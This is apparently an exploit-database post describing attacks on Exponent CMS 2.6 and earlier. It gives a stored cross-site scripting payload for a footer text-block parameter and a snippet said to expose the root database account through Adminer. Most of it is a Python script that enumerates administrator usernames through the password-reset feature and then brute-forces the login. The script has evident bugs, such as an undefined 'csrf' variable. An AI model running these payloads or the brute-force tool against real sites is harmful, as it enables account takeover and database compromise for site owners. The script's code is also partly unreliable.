Exponent CMS 2.6 Cross Site Scripting / Brute Force

# Exploit Title: Exponent CMS 2.6 - Multiple Vulnerabilities
# Exploit Author: heinjame
# Date: 22/10/2021
# Exploit Author: picaro_o
# Vendor Homepage: https://www.exponentcms.org/
# Version: <=2.6
# Tested on: Linux os

*Stored XSS*

Affected parameter = >
http://127.0.0.1:8082/expcms/text/edit/id/{id}/src/@footer (Title,
Text Block)

Payload = <iframe/src="data:text/html,<svg onload=alert(1)>">

** *Database credential are disclosed in response ***

POC
```
var adminerwindow = function (){
             var win =
window.open('/expcms/external/adminer/admin.php?server=localhost&username=root&db=exponentcms');
             if (!win) { err(); }
         }
```

**Authentication Bruteforce*
```
import argparse
import requests
import sys

parser = argparse.ArgumentParser()
parser.add_argument("url", help="URL")
parser.add_argument("Username list", help="Username List")
parser.add_argument("Password list", help="Password List")
pargs = parser.parse_args()

host = sys.argv[1]
userlist = sys.argv[2]
passlist = sys.argv[3]

try:
    readuser = open(userlist)
    readpass = open(passlist)
except:
    print("Unable to load files")
    exit()
def usernamebrute():
    s = requests.Session()
    for username in readuser.readlines():
        brute={
                'controller':(None,'users'),
                'src':(None,''),
                'int':(None,''),
                'action':(None,'send_new_password'),
                'username':(None,username.strip()),
        }
        bruteforce = s.post(host+"/index.php",files=brute)
        status = s.get(host+"/users/reset_password")
        if "administrator" in status.text:
            print("[+] Found username : "+ username)
            adminaccount = username
            checkpoint = True
            return adminaccount,checkpoint
            break

def passwordbrute(adminaccount):
    s = requests.Session()
    s.cookies.set("csrftoken", "abc")
    header = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0)
Gecko/20100101 Firefox/78.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'COntent-TYpE': 'applicatiOn/x-WWW-fOrm-urlencoded1',
'Referer': host+'/login/showlogin'
    }
    for password in readpass.readlines():
        brute={
                'controller':'login',
                'src':'',
                'int':'',
                'action':'login',
                'username':adminaccount,
                'password':password.strip()
        }
        bruteforce = s.post(host+"/index.php",headers=header,data=brute)
        # print(bruteforce.text)
        status = s.get(host+"/login/showlogin",cookies=csrf)
        print(status.text)
        if "Invalid Username / Password" not in status.text:
            print("[+] Found Password : "+ password)
            break

adminaccount,checkpoint = usernamebrute()
if checkpoint == True:
    passwordbrute(adminaccount)
else:
    print("Can't find username,We can't proceed sorry :(")

```